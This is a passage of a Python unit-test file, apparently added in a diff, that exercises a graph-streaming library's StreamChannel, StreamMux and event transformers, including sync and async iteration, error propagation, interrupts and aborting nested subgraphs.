registered transformers + declare via `required_stream_modes`. Custom events are raw user + emissions from `StreamWriter`, so tests that want them visible on + the main event log register this pass-through transformer. + """ + + required_stream_modes = ("custom",) + + def init(self) -> dict[str, Any]: + return {} + + def process(self, event: ProtocolEvent) -> bool: + return True + + +# --------------------------------------------------------------------------- +# StreamChannel (local, unnamed) unit tests +# --------------------------------------------------------------------------- + + +class TestStreamChannelLocal: + def test_sync_iteration(self) -> None: + log: StreamChannel[int] = StreamChannel() + log._bind(is_async=False) + it = iter(log) + log.push(1) + log.push(2) + log.push(3) + log.close() + assert list(it) == [1, 2, 3] + + def test_drain_on_consume(self) -> None: + log: StreamChannel[str] = StreamChannel() + log._bind(is_async=False) + it = iter(log) + log.push("a") + log.push("b") + log.close() + assert list(it) == ["a", "b"] + assert list(log._items) == [] + + def test_second_subscribe_raises(self) -> None: + log: StreamChannel[str] = StreamChannel() + log._bind(is_async=False) + log.close() + _ = iter(log) + with pytest.raises(RuntimeError, match="already has a subscriber"): + iter(log) + + def test_pre_subscription_push_is_noop(self) -> None: + # Lazy-subscribe: pushes before subscription are dropped silently. + log: StreamChannel[int] = StreamChannel() + log._bind(is_async=False) + log.push(1) + log.push(2) + it = iter(log) + log.push(3) + log.close() + assert list(it) == [3] + + def test_fail_propagation(self) -> None: + log: StreamChannel[int] = StreamChannel() + log._bind(is_async=False) + it = iter(log) + log.push(1) + log.fail(ValueError("test error")) + with pytest.raises(ValueError, match="test error"): + list(it) + + def test_sync_cursor_yields_items_before_error(self) -> None: + log: StreamChannel[int] = StreamChannel() + log._bind(is_async=False) + it = iter(log) + log.push(1) + log.push(2) + log.push(3) + log.fail(ValueError("late error")) + items: list[int] = [] + with pytest.raises(ValueError, match="late error"): + for item in it: + items.append(item) + assert items == [1, 2, 3] + + def test_push_after_close_raises(self) -> None: + log: StreamChannel[int] = StreamChannel() + log._bind(is_async=False) + it = iter(log) + log.push(1) + log.close() + with pytest.raises(RuntimeError, match="Cannot push to a closed StreamChannel"): + log.push(2) + _ = list(it) + + def test_push_after_fail_raises(self) -> None: + log: StreamChannel[int] = StreamChannel() + log._bind(is_async=False) + it = iter(log) + log.fail(ValueError("err")) + with pytest.raises(RuntimeError, match="Cannot push to a closed StreamChannel"): + log.push(1) + with pytest.raises(ValueError, match="err"): + list(it) + + def test_empty_log_sync(self) -> None: + log: StreamChannel[int] = StreamChannel() + log._bind(is_async=False) + log.close() + assert list(log) == [] + + def test_empty_log_fail_sync(self) -> None: + log: StreamChannel[int] = StreamChannel() + log._bind(is_async=False) + log.fail(ValueError("empty fail")) + with pytest.raises(ValueError, match="empty fail"): + list(log) + + def test_unbound_iter_raises(self) -> None: + log: StreamChannel[int] = StreamChannel() + log.close() + with pytest.raises(TypeError, match="has not been bound"): + list(log) + + def test_sync_bound_aiter_raises(self) -> None: + log: StreamChannel[int] = StreamChannel() + log._bind(is_async=False) + log.close() + with pytest.raises(TypeError, match="bound to sync mode"): + log.__aiter__() + + def test_double_bind_raises(self) -> None: + log: StreamChannel[int] = StreamChannel() + log._bind(is_async=False) + with pytest.raises(RuntimeError, match="already bound"): + log._bind(is_async=True) + + @pytest.mark.anyio + async def test_async_iteration(self) -> None: + log: StreamChannel[int] = StreamChannel() + log._bind(is_async=True) + cursor = aiter(log) + for i in range(3): + log.push(i) + log.close() + assert [item async for item in cursor] == [0, 1, 2] + + @pytest.mark.anyio + async def test_async_second_subscribe_raises(self) -> None: + log: StreamChannel[str] = StreamChannel() + log._bind(is_async=True) + log.close() + _ = log.__aiter__() + with pytest.raises(RuntimeError, match="already has a subscriber"): + log.__aiter__() + + @pytest.mark.anyio + async def test_async_fail(self) -> None: + log: StreamChannel[int] = StreamChannel() + log._bind(is_async=True) + cursor = aiter(log) + log.push(1) + log.fail(RuntimeError("async error")) + with pytest.raises(RuntimeError, match="async error"): + async for _ in cursor: + pass + + @pytest.mark.anyio + async def test_async_cursor_yields_items_before_error(self) -> None: + log: StreamChannel[int] = StreamChannel() + log._bind(is_async=True) + cursor = aiter(log) + log.push(1) + log.push(2) + log.push(3) + log.fail(ValueError("late error")) + items: list[int] = [] + with pytest.raises(ValueError, match="late error"): + async for item in cursor: + items.append(item) + assert items == [1, 2, 3] + + @pytest.mark.anyio + async def test_empty_log_async(self) -> None: + log: StreamChannel[int] = StreamChannel() + log._bind(is_async=True) + log.close() + assert [item async for item in log] == [] + + @pytest.mark.anyio + async def test_empty_log_fail_async(self) -> None: + log: StreamChannel[int] = StreamChannel() + log._bind(is_async=True) + log.fail(ValueError("empty fail")) + with pytest.raises(ValueError, match="empty fail"): + async for _ in log: + pass + + @pytest.mark.anyio + async def test_async_bound_iter_raises(self) -> None: + log: StreamChannel[int] = StreamChannel() + log._bind(is_async=True) + log.close() + with pytest.raises(TypeError, match="bound to async mode"): + iter(log) + + +# --------------------------------------------------------------------------- +# StreamChannel (named, wired) unit tests +# --------------------------------------------------------------------------- + + +class TestStreamChannelNamed: + def test_push_and_iterate(self) -> None: + ch: StreamChannel[str] = StreamChannel("test") + ch._bind(is_async=False) + it = iter(ch) + ch.push("a") + ch.push("b") + ch.close() + assert list(it) == ["a", "b"] + + def test_wire_callback(self) -> None: + forwarded: list[str] = [] + ch: StreamChannel[str] = StreamChannel("test") + ch._bind(is_async=False) + ch._wire(lambda item: forwarded.append(item)) + it = iter(ch) + ch.push("x") + ch.push("y") + ch.close() + assert forwarded == ["x", "y"] + assert list(it) == ["x", "y"] + + def test_fail_propagation(self) -> None: + ch: StreamChannel[str] = StreamChannel("test") + ch._bind(is_async=False) + it = iter(ch) + ch.push("a") + ch.fail(ValueError("channel error")) + items: list[str] = [] + with pytest.raises(ValueError, match="channel error"): + for item in it: + items.append(item) + assert items == ["a"] + + def test_push_without_wire(self) -> None: + ch: StreamChannel[int] = StreamChannel("test") + ch._bind(is_async=False) + assert ch._wire_fn is None + it = iter(ch) + ch.push(42) + ch.close() + assert list(it) == [42] + + @pytest.mark.anyio + async def test_async_iteration(self) -> None: + ch: StreamChannel[str] = StreamChannel("test") + ch._bind(is_async=True) + cursor = ch.__aiter__() + ch.push("x") + ch.push("y") + ch.close() + assert [item async for item in cursor] == ["x", "y"] + + +# --------------------------------------------------------------------------- +# stream_events(version="v3") sync tests +# --------------------------------------------------------------------------- + + +class TestStreamV2Sync: + def test_values_projection(self) -> None: + run = _build_simple_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + snapshots = list(run.values) + assert len(snapshots) >= 1 + last = snapshots[-1] + assert "A" in last["value"] and "B" in last["value"] + + def test_output(self) -> None: + run = _build_simple_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + output = run.output + assert output == {"value": "xAB", "items": ["a", "b"]} + + def test_raw_event_iteration(self) -> None: + run = _build_simple_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + events = list(run) + assert len(events) > 0 + for event in events: + assert event["type"] == "event" + assert "method" in event + assert "seq" in event + assert isinstance(event["params"]["timestamp"], int) + + def test_extensions_has_native_keys(self) -> None: + run = _build_simple_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + _ = run.output + assert "values" in run.extensions and "messages" in run.extensions + assert run.values is run.extensions["values"] + assert run.messages is run.extensions["messages"] + + def test_extensions_is_read_only(self) -> None: + run = _build_simple_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + with pytest.raises(TypeError): + run.extensions["new_key"] = object() # type: ignore[index] + with pytest.raises(TypeError): + del run.extensions["values"] # type: ignore[attr-defined] + + def test_custom_stream_events(self) -> None: + run = _build_custom_stream_graph().stream_events( + {"value": "x", "items": []}, + version="v3", + transformers=[_CustomPassthroughTransformer], + ) + custom_events = [e for e in run if e["method"] == "custom"] + assert len(custom_events) == 2 + assert custom_events[0]["params"]["data"] == {"step": "start"} + assert custom_events[1]["params"]["data"] == {"step": "end"} + + def test_custom_events_suppressed_without_transformer(self) -> None: + """Without a transformer declaring `"custom"`, no custom events flow. + + `stream_events(version="v3")` asks the graph only for the modes that registered + transformers require. Built-ins cover `values` / `messages`; + consumers that want raw custom events surface them by + registering a transformer whose `required_stream_modes` + includes `"custom"`. + """ + run = _build_custom_stream_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + custom_events = [e for e in run if e["method"] == "custom"] + assert custom_events == [] + + def test_interleave_values_and_messages(self) -> None: + run = _build_simple_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + tagged = list(run.interleave("values", "messages")) + names = [name for name, _ in tagged] + assert set(names).issubset({"values", "messages"}) + assert names.count("values") >= 1 + # interleave releases its subscription on completion. + assert run.extensions["values"]._subscribed is False + assert run.extensions["messages"]._subscribed is False + + def test_abort_marks_exhausted_and_closes_mux(self) -> None: + run = _build_simple_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + values_iter = iter(run.values) + _ = next(values_iter) + run.abort() + list(values_iter) + assert run._exhausted is True + run.abort() # idempotent + + def test_context_manager_calls_abort_on_exit(self) -> None: + with _build_simple_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) as run: + _ = next(iter(run.values)) + assert run._exhausted is True + + def test_interleave_unknown_projection(self) -> None: + run = _build_simple_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + with pytest.raises(KeyError): + list(run.interleave("values", "does_not_exist")) + + +class TestStreamV2SyncErrors: + def test_error_propagation_output(self) -> None: + run = _build_error_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + with pytest.raises(ValueError, match="boom"): + _ = run.output + + def test_error_propagation_values(self) -> None: + run = _build_error_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + with pytest.raises(ValueError, match="boom"): + list(run.values) + + def test_error_propagation_raw_events(self) -> None: + run = _build_error_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + with pytest.raises(ValueError, match="boom"): + list(run) + + def test_error_propagation_interrupted(self) -> None: + run = _build_error_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + with pytest.raises(ValueError, match="boom"): + _ = run.interrupted + + def test_error_propagation_interrupts(self) -> None: + run = _build_error_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + with pytest.raises(ValueError, match="boom"): + _ = run.interrupts + + +class TestStreamV2SyncInterrupt: + def test_interrupted(self) -> None: + run = _build_interrupt_graph().stream_events( + {"value": "x", "items": []}, + {"configurable": {"thread_id": "t1"}}, + version="v3", + ) + _ = run.output + assert run.interrupted is True + assert len(run.interrupts) > 0 + + +# --------------------------------------------------------------------------- +# astream_events(version="v3") async tests +# --------------------------------------------------------------------------- + + +@pytest.mark.anyio +@NEEDS_CONTEXTVARS +class TestStreamV2Async: + async def test_values_projection(self) -> None: + run = await _build_simple_graph().astream_events( + {"value": "x", "items": []}, version="v3" + ) + snapshots = [s async for s in run.values] + assert len(snapshots) >= 1 + last = snapshots[-1] + assert "A" in last["value"] and "B" in last["value"] + + async def test_output(self) -> None: + run = await _build_simple_graph().astream_events( + {"value": "x", "items": []}, version="v3" + ) + output = await run.output() + assert output == {"value": "xAB", "items": ["a", "b"]} + + async def test_raw_event_iteration(self) -> None: + run = await _build_simple_graph().astream_events( + {"value": "x", "items": []}, version="v3" + ) + events = [e async for e in run] + assert len(events) > 0 + for event in events: + assert event["type"] == "event" + + async def test_abort_marks_exhausted_and_closes_mux(self) -> None: + run = await _build_simple_graph().astream_events( + {"value": "x", "items": []}, version="v3" + ) + values_iter = aiter(run.values) + _ = await anext(values_iter) + await run.abort() + async for _item in values_iter: + pass + assert run._exhausted is True + await run.abort() # idempotent + + async def test_context_manager_calls_abort_on_exit(self) -> None: + run = await _build_simple_graph().astream_events( + {"value": "x", "items": []}, version="v3" + ) + async with run: + _ = await anext(aiter(run.values)) + assert run._exhausted is True + + async def test_abort_cancels_running_subgraph(self) -> None: + class CountState(TypedDict): + count: int + + runs: list[int] = [] + + async def sub_node(state: CountState) -> dict: + runs.append(state["count"] + 1) + await asyncio.sleep(0.05) + return {"count": state["count"] + 1} + + sub_graph = ( + StateGraph(CountState) + .add_node("sub_node", sub_node) + .set_entry_point("sub_node") + .add_conditional_edges( + "sub_node", + lambda s: END if s["count"] >= 10 else "sub_node", + ) + .compile() + ) + + async def main_node(state: CountState) -> None: + await sub_graph.ainvoke({"count": 0}) + + main_graph = ( + StateGraph(CountState) + .add_node("main_node", main_node) + .set_entry_point("main_node") + .compile() + ) + + run = await main_graph.astream_events({"count": 0}, version="v3") + async for e in run: + if ( + e["method"] == "values" + and e["params"]["namespace"] + and e["params"]["data"]["count"] >= 2 + ): + break + await run.abort() + runs_at_abort = len(runs) + # Give the (now-cancelled) subgraph a chance to keep looping. + await asyncio.sleep(0.3) + assert len(runs) == runs_at_abort + assert len(runs) < 10 + + async def test_abort_cancels_deeply_nested_subgraph(self) -> None: + class CountState(TypedDict): + count: int + + runs: list[int] = [] + + async def deep_node(state: CountState) -> dict: + runs.append(state["count"] + 1) + await asyncio.sleep(0.05) + return {"count": state["count"] + 1} + + # Deepest graph loops until count >= 10. + graph = ( + StateGraph(CountState) + .add_node("deep_node", deep_node) + .set_entry_point("deep_node") + .add_conditional_edges( + "deep_node", + lambda s: END if s["count"] >= 10 else "deep_node", + ) + .compile() + ) + + # Wrap it three times: graph -> subgraph -> subgraph -> subgraph. + for _ in range(3): + + async def caller(state: CountState, _child: Any = graph) -> dict: + return await _child.ainvoke({"count": 0}) + + graph = ( + StateGraph(CountState) + .add_node("caller", caller) + .set_entry_point("caller") + .compile() + ) + + run = await graph.astream_events({"count": 0}, version="v3") + async for e in run: + if ( + e["method"] == "values" + and e["params"]["namespace"] + and e["params"]["data"]["count"] >= 2 + ): + break + await run.abort() + runs_at_abort = len(runs) + # Give the (now-cancelled) nested subgraph a chance to keep looping. + await asyncio.sleep(0.3) + assert len(runs) == runs_at_abort + assert len(runs) < 10 + + async def test_abort_cancels_subgraph_during_inflight_pump(self) -> None: + class CountState(TypedDict): + count: int + + started = asyncio.Event() + cancelled = asyncio.Event() + + async def sub_node(state: CountState) -> dict: + started.set() + try: + # Long-running node: still in flight when abort fires. + await asyncio.sleep(5) + except asyncio.CancelledError: + cancelled.set() + raise + return {"count": state["count"] + 1} + + sub_graph = ( + StateGraph(CountState) + .add_node("sub_node", sub_node) + .set_entry_point("sub_node") + .compile() + ) + + async def main_node(state: CountState) -> None: + await sub_graph.ainvoke({"count": 0}) + + main_graph = ( + StateGraph(CountState) + .add_node("main_node", main_node) + .set_entry_point("main_node") + .compile() + ) + + run = await main_graph.astream_events({"count": 0}, version="v3") + + # A consumer task drives the pump. Once the subgraph node is + # running, no further event is produced, so the consumer parks + # inside _apump_next awaiting graph_aiter.__anext__() — the + # generator is "running" and a plain aclose() would raise. + async def consume() -> None: + async for _e in run: + pass + + consumer = asyncio.create_task(consume()) + try: + await asyncio.wait_for(started.wait(), timeout=2.0) + # Let the consumer drain and park in __anext__. + await asyncio.sleep(0.05) + # Abort from a different task while the consumer is in __anext__. + await run.abort() + # The in-flight subgraph node must observe cancellation. + await asyncio.wait_for(cancelled.wait(), timeout=2.0) + finally: + consumer.cancel() + try: + await consumer + except asyncio.CancelledError: + pass + + async def test_extensions_has_native_keys(self) -> None: + run = await _build_simple_graph().astream_events( + {"value": "x", "items": []}, version="v3" + ) + _ = await run.output() + assert "values" in run.extensions and "messages" in run.extensions + assert run.values is run.extensions["values"] + assert run.messages is run.extensions["messages"] + + async def test_custom_stream_events(self) -> None: + run = await _build_custom_stream_graph().astream_events( + {"value": "x", "items": []}, + version="v3", + transformers=[_CustomPassthroughTransformer], + ) + events = [e async for e in run] + custom_events = [e for e in events if e["method"] == "custom"] + assert len(custom_events) == 2 + assert custom_events[0]["params"]["data"] == {"step": "start"} + assert custom_events[1]["params"]["data"] == {"step": "end"} + + +@pytest.mark.anyio +@NEEDS_CONTEXTVARS +class TestStreamV2AsyncErrors: + async def test_error_propagation_output(self) -> None: + run = await _build_error_graph().astream_events( + {"value": "x", "items": []}, version="v3" + ) + with pytest.raises(ValueError, match="boom"): + await run.output() + + async def test_error_propagation_values(self) -> None: + run = await _build_error_graph().astream_events( + {"value": "x", "items": []}, version="v3" + ) + with pytest.raises(ValueError, match="boom"): + async for _ in run.values: + pass + + async def test_error_propagation_raw_events(self) -> None: + run = await _build_error_graph().astream_events( + {"value": "x", "items": []}, version="v3" + ) + with pytest.raises(ValueError, match="boom"): + async for _ in run: + pass + + async def test_error_propagation_interrupted(self) -> None: + run = await _build_error_graph().astream_events( + {"value": "x", "items": []}, version="v3" + ) + with pytest.raises(ValueError, match="boom"): + await run.interrupted() + + async def test_error_propagation_interrupts(self) -> None: + run = await _build_error_graph().astream_events( + {"value": "x", "items": []}, version="v3" + ) + with pytest.raises(ValueError, match="boom"): + await run.interrupts() + + +@pytest.mark.anyio +@NEEDS_CONTEXTVARS +class TestStreamV2AsyncInterrupt: + async def test_interrupted(self) -> None: + run = await _build_interrupt_graph().astream_events( + {"value": "x", "items": []}, + {"configurable": {"thread_id": "t2"}}, + version="v3", + ) + _ = await run.output() + assert await run.interrupted() is True + assert len(await run.interrupts()) > 0 + + +# --------------------------------------------------------------------------- +# convert_to_protocol_event unit tests +# --------------------------------------------------------------------------- + + +class TestConvertToProtocolEvent: + def test_basic_conversion(self) -> None: + before = int(time.time() * 1000) + event = convert_to_protocol_event( + {"type": "values", "ns": ("sub", "graph"), "data": {"key": "val"}} + ) + after = int(time.time() * 1000) + assert event["type"] == "event" + assert event["method"] == "values" + assert event["params"]["namespace"] == ["sub", "graph"] + assert event["params"]["data"] == {"key": "val"} + assert "interrupts" not in event["params"] + assert before <= event["params"]["timestamp"] <= after + + def test_conversion_with_interrupts(self) -> None: + event = convert_to_protocol_event( + { + "type": "values", + "ns": (), + "data": {"k": 1}, + "interrupts": ({"value": "pause"},), + } + ) + assert event["params"]["interrupts"] == ({"value": "pause"},) + + def test_namespace_tuple_becomes_list(self) -> None: + event = convert_to_protocol_event( + {"type": "updates", "ns": ("a", "b", "c"), "data": {}} + ) + assert event["params"]["namespace"] == ["a", "b", "c"] + + +# --------------------------------------------------------------------------- +# StreamMux unit tests +# --------------------------------------------------------------------------- + + +class TestStreamMux: + def test_register_non_dict_raises(self) -> None: + class BadTransformer(StreamTransformer): + def init(self) -> Any: + return ["not", "a", "dict"] + + def process(self, event: ProtocolEvent) -> bool: + return True + + with pytest.raises(TypeError, match="must return a dict"): + StreamMux([BadTransformer()]) + + def test_event_suppression(self) -> None: + class FilterTransformer(StreamTransformer): + def init(self) -> dict[str, Any]: + return {} + + def process(self, event: ProtocolEvent) -> bool: + return event["method"] != "updates" + + mux = StreamMux([FilterTransformer()]) + it = iter(mux._events) + mux.push(_event("values", {"a": 1})) + mux.push(_event("updates", {"b": 2})) + mux.push(_event("custom", {"c": 3})) + mux.close() + assert [e["method"] for e in it] == ["values", "custom"] + + def test_suppression_all_transformers_still_see_event(self) -> None: + """If any transformer returns False, the event is suppressed from the main + log, but all transformers still receive it.""" + seen_by_second: list[str] = [] + + class PassTransformer(StreamTransformer): + def init(self) -> dict[str, Any]: + return {} + + def process(self, event: ProtocolEvent) -> bool: + return True + + class RejectTransformer(StreamTransformer): + def init(self) -> dict[str, Any]: + return {} + + def process(self, event: ProtocolEvent) -> bool: + seen_by_second.append(event["method"]) + return False + + mux = StreamMux([PassTransformer(), RejectTransformer()]) + mux.push(_event("values")) + mux.close() + assert seen_by_second == ["values"] + assert list(mux._events) == [] + + def test_empty_mux(self) -> None: + mux = StreamMux() + it = iter(mux._events) + mux.push(_event("values", {"x": 1})) + mux.close() + events = list(it) + assert len(events) == 1 + assert events[0]["method"] == "values" + + def test_empty_mux_fail(self) -> None: + mux = StreamMux() + mux.fail(ValueError("boom")) + with pytest.raises(ValueError, match="boom"): + list(mux._events) + + +# --------------------------------------------------------------------------- +# ValuesTransformer / MessagesTransformer unit tests +# --------------------------------------------------------------------------- + + +class TestValuesTransformer: + def test_ignores_non_root_namespace(self) -> None: + t = ValuesTransformer() + t.init() + t._log._bind(is_async=False) + it = iter(t._log) + t.process(_event("values", {"val": "root"})) + t.process(_event("values", {"val": "sub"}, namespace=["sub"])) + t._log.close() + items = list(it) + assert len(items) == 1 + assert items[0]["val"] == "root" + + def test_ignores_non_values_methods(self) -> None: + t = ValuesTransformer() + t.init() + t._log._bind(is_async=False) + it = iter(t._log) + assert t.process(_event("updates", {"x": 1})) is True + t._log.close() + assert list(it) == [] + + def test_tracks_interrupts(self) -> None: + t = ValuesTransformer() + t.init() + t.process( + _event( + "values", + {"v": 1}, + interrupts=({"value": "pause1"}, {"value": "pause2"}), + ) + ) + assert t._interrupted is True + assert len(t._interrupts) == 2 + + +class TestOutputWithoutValuesTransformer: + """run.output / run.interrupted / run.interrupts must work even when + ValuesTransformer is not registered.""" + + def _stream_part( + self, method: str, data: Any, namespace: tuple[str, ...] = () + ) -> dict[str, Any]: + return {"type": method, "ns": namespace, "data": data} + + def test_output_without_values_transformer(self) -> None: + mux = StreamMux(factories=[MessagesTransformer], is_async=False) + run = GraphRunStream( + iter([self._stream_part("values", {"v": "final"})]), + mux, + ) + assert "values" not in run.extensions + assert run.output == {"v": "final"} + + def test_interrupts_without_values_transformer(self) -> None: + part = self._stream_part("values", {"v": 1}) + part["interrupts"] = ({"value": "pause"},) + mux = StreamMux(factories=[MessagesTransformer], is_async=False) + run = GraphRunStream(iter([part]), mux) + assert run.interrupted is True + assert len(run.interrupts) == 1 + + @pytest.mark.anyio + async def test_async_output_without_values_transformer(self) -> None: + async def _parts() -> Any: + yield {"type": "values", "ns": (), "data": {"v": "async_final"}} + + mux = StreamMux(factories=[MessagesTransformer], is_async=True) + run = AsyncGraphRunStream(_parts(), mux) + assert "values" not in run.extensions + assert await run.output() == {"v": "async_final"} + + +class TestMessagesTransformer: + def test_captures_root_messages(self) -> None: + t = MessagesTransformer() + t.init() + t._log._bind(is_async=False) + t._bind_pump(lambda: False) + it = iter(t._log) + meta = {"langgraph_node": "llm", "run_id": "run-1"} + for evt in ( + {"event": "message-start", "role": "ai", "message_id": "run-1"}, + {"event": "message-finish", "reason": "stop"}, + ): + t.process(_event("messages", (evt, meta))) + t._log.close() + items = list(it) + assert len(items) == 1 + assert hasattr(items[0], "dispatch") + assert items[0].message_id == "run-1" + + def test_ignores_non_root_namespace(self) -> None: + t = MessagesTransformer() + t.init() + t._log._bind(is_async=False) + t._bind_pump(lambda: False) + it = iter(t._log) + meta = {"langgraph_node": "llm", "run_id": "run-1"} + t.process( + _event( + "messages", + ({"event": "message-start", "message_id": "run-1"}, meta), + namespace=["sub"], + ) + ) + t._log.close() + assert list(it) == [] + + def test_ignores_non_messages_methods(self) -> None: + t = MessagesTransformer() + t.init() + t._log._bind(is_async=False) + it = iter(t._log) + assert t.process(_event("values", {"v": 1})) is True + t._log.close() + assert list(it) == [] + + def test_fail_propagates(self) -> None: + t = MessagesTransformer() + t.init() + t._log._bind(is_async=False) + it = iter(t._log) + t._log.fail(ValueError("msg error")) + with pytest.raises(ValueError, match="msg error"): + list(it) + + +# --------------------------------------------------------------------------- +# StreamMux resilience: close/fail continue cleanup on transformer errors +# --------------------------------------------------------------------------- + + +class TestStreamMuxResilience: + def test_close_continues_after_finalize_error(self) -> None: + class BrokenFinalizer(StreamTransformer): + def init(self) -> dict[str, Any]: + return {} + + def process(self, event: ProtocolEvent) -> bool: + return True + + def finalize(self) -> None: + raise RuntimeError("finalize broke") + + class GoodTransformer(StreamTransformer): + def __init__(self) -> None: + self.finalized = False + + def init(self) -> dict[str, Any]: + return {} + + def process(self, event: ProtocolEvent) -> bool: + return True + + def finalize(self) -> None: + self.finalized = True + + good = GoodTransformer() + mux = StreamMux([BrokenFinalizer(), good]) + mux.push(_event("values")) + with pytest.raises(RuntimeError, match="finalize broke"): + mux.close() + assert good.finalized + assert mux._events._closed + + def test_fail_continues_after_transformer_error(self) -> None: + class BrokenFailer(StreamTransformer): + def init(self) -> dict[str, Any]: + return {} + + def process(self, event: ProtocolEvent) -> bool: + return True + + def fail(self, err: BaseException) -> None: + raise RuntimeError("fail handler broke") + + class GoodTransformer(StreamTransformer): + def __init__(self) -> None: + self.failed_with: BaseException | None = None + + def init(self) -> dict[str, Any]: + return {} + + def process(self, event: ProtocolEvent) -> bool: + return True + + def fail(self, err: BaseException) -> None: + self.failed_with = err + + good = GoodTransformer() + mux = StreamMux([BrokenFailer(), good]) + original_error = ValueError("original") + mux.fail(original_error) + assert good.failed_with is original_error + assert mux._events._error is original_error + + def test_channels_closed_after_finalize_error(self) -> None: + class BrokenWithChannel(StreamTransformer): + def __init__(self) -> None: + self._channel: StreamChannel[str] = StreamChannel("ch") + + def init(self) -> dict[str, Any]: + return {"ch": self._channel} + + def process(self, event: ProtocolEvent) -> bool: + return True + + def finalize(self) -> None: + raise RuntimeError("finalize broke") + + t = BrokenWithChannel() + mux = StreamMux([t]) + with pytest.raises(RuntimeError, match="finalize broke"): + mux.close() + assert t._channel._closed + + +# --------------------------------------------------------------------------- +# Custom transformer tests +# --------------------------------------------------------------------------- + + +class TestCustomTransformer: + def test_extension_transformer_with_stream_channel(self) -> None: + class CounterTransformer(StreamTransformer): + def __init__(self, scope: tuple[str, ...] = ()) -> None: + super().__init__(scope) + self._channel: StreamChannel[int] = StreamChannel("counter") + self._count = 0 + + def init(self) -> dict[str, Any]: + return {"counter": self._channel} + + def process(self, event: ProtocolEvent) -> bool: + if event["method"] == "values": + self._count += 1 + self._channel.push(self._count) + return True + + run = _build_simple_graph().stream_events( + {"value": "x", "items": []}, version="v3", transformers=[CounterTransformer] + ) + assert "counter" in run.extensions + counter_iter = iter(run.extensions["counter"]) + _ = run.output + counts = list(counter_iter) + assert len(counts) > 0 + assert not hasattr(run, "counter") # non-native: no direct attribute + + def test_native_transformer_gets_direct_attr(self) -> None: + class FooTransformer(StreamTransformer): + _native = True + + def __init__(self, scope: tuple[str, ...] = ()) -> None: + super().__init__(scope) + self._log: StreamChannel[str] = StreamChannel() + + def init(self) -> dict[str, Any]: + return {"foo": self._log} + + def process(self, event: ProtocolEvent) -> bool: + if event["method"] == "values": + self._log.push("saw_values") + return True + + run = _build_simple_graph().stream_events( + {"value": "x", "items": []}, version="v3", transformers=[FooTransformer] + ) + foo_iter = iter(run.foo) + _ = run.output + assert "foo" in run.extensions and run.foo is run.extensions["foo"] + assert "saw_values" in list(foo_iter) + + def test_stream_events_v3_rejects_transformer_instances(self) -> None: + class InstanceTransformer(StreamTransformer): + def init(self) -> dict[str, Any]: + return {} + + def process(self, event: ProtocolEvent) -> bool: + return True + + with pytest.raises(TypeError, match="pre-built instance"): + _build_simple_graph().stream_events( + {"value": "x", "items": []}, + version="v3", + transformers=[InstanceTransformer()], + ) + + def test_stream_channel_auto_forward(self) -> None: + """StreamChannel pushes inject ProtocolEvents into the main log.""" + + class EmitterTransformer(StreamTransformer): + def __init__(self, scope: tuple[str, ...] = ()) -> None: + super().__init__(scope) + self._channel: StreamChannel[str] = StreamChannel("emitter") + + def init(self) -> dict[str, Any]: + return {"emitter": self._channel} + + def process(self, event: ProtocolEvent) -> bool: + if event["method"] == "values": + self._channel.push("emitted") + return True + + run = _build_simple_graph().stream_events( + {"value": "x", "items": []}, version="v3", transformers=[EmitterTransformer] + ) + custom_events = [e for e in run if e["method"] == "custom:emitter"] + assert len(custom_events) > 0 + assert custom_events[0]["params"]["data"] == "emitted" + + def test_stream_channel_seq_ordering(self) -> None: + """Seq numbers must be monotonically increasing even when a channel push + auto-forwards an event mid-pipeline.""" + + class ChannelPusher(StreamTransformer): + def __init__(self) -> None: + super().__init__() + self._channel: StreamChannel[str] = StreamChannel("ch") + + def init(self) -> dict[str, Any]: + return {"ch": self._channel} + + def process(self, event: ProtocolEvent) -> bool: + self._channel.push(f"saw:{event['method']}") + return True + + mux = StreamMux([ChannelPusher()]) + it = iter(mux._events) + mux.push(_event("values")) + mux.push(_event("updates")) + mux.close() + seqs = [e["seq"] for e in it] + for i in range(1, len(seqs)): + assert seqs[i] > seqs[i - 1], f"Seq out of order at index {i}: {seqs}" + + def test_projection_key_conflict_raises(self) -> None: + class ConflictTransformer(StreamTransformer): + def __init__(self, scope: tuple[str, ...] = ()) -> None: + super().__init__(scope) + self._log: StreamChannel[str] = StreamChannel() + + def init(self) -> dict[str, Any]: + return {"values": self._log} + + def process(self, event: ProtocolEvent) -> bool: + return True + + with pytest.raises(ValueError, match=r"conflict.*'values'.*ValuesTransformer"): + _build_simple_graph().stream_events( + {"value": "x", "items": []}, + version="v3", + transformers=[ConflictTransformer], + ) + + +# --------------------------------------------------------------------------- +# StreamChannel auto-lifecycle via StreamMux +# --------------------------------------------------------------------------- + + +class TestStreamChannelAutoLifecycle: + def test_mux_auto_closes_channels(self) -> None: + class SimpleTransformer(StreamTransformer): + def __init__(self) -> None: + super().__init__() + self._log: StreamChannel[str] = StreamChannel() + + def init(self) -> dict[str, Any]: + return {"items": self._log} + + def process(self, event: ProtocolEvent) -> bool: + self._log.push("saw_event") + return True + + mux = StreamMux([SimpleTransformer()]) + it = iter(mux._events) + mux.push(_event("values")) + mux.close() + assert len(list(it)) == 1 + + def test_mux_auto_fails_channels(self) -> None: + class SimpleTransformer(StreamTransformer): + def __init__(self) -> None: + super().__init__() + self._log: StreamChannel[str] = StreamChannel() + + def init(self) -> dict[str, Any]: + return {"items": self._log} + + def process(self, event: ProtocolEvent) -> bool: + self._log.push("saw_event") + return True + + t = SimpleTransformer() + mux = StreamMux([t]) + it = iter(t._log) + mux.push(_event("values")) + mux.fail(ValueError("boom")) + with pytest.raises(ValueError, match="boom"): + list(it) + + def test_no_double_close_if_transformer_closes_own_log(self) -> None: + class ManualCloseTransformer(StreamTransformer): + def __init__(self) -> None: + super().__init__() + self._log: StreamChannel[str] = StreamChannel() + + def init(self) -> dict[str, Any]: 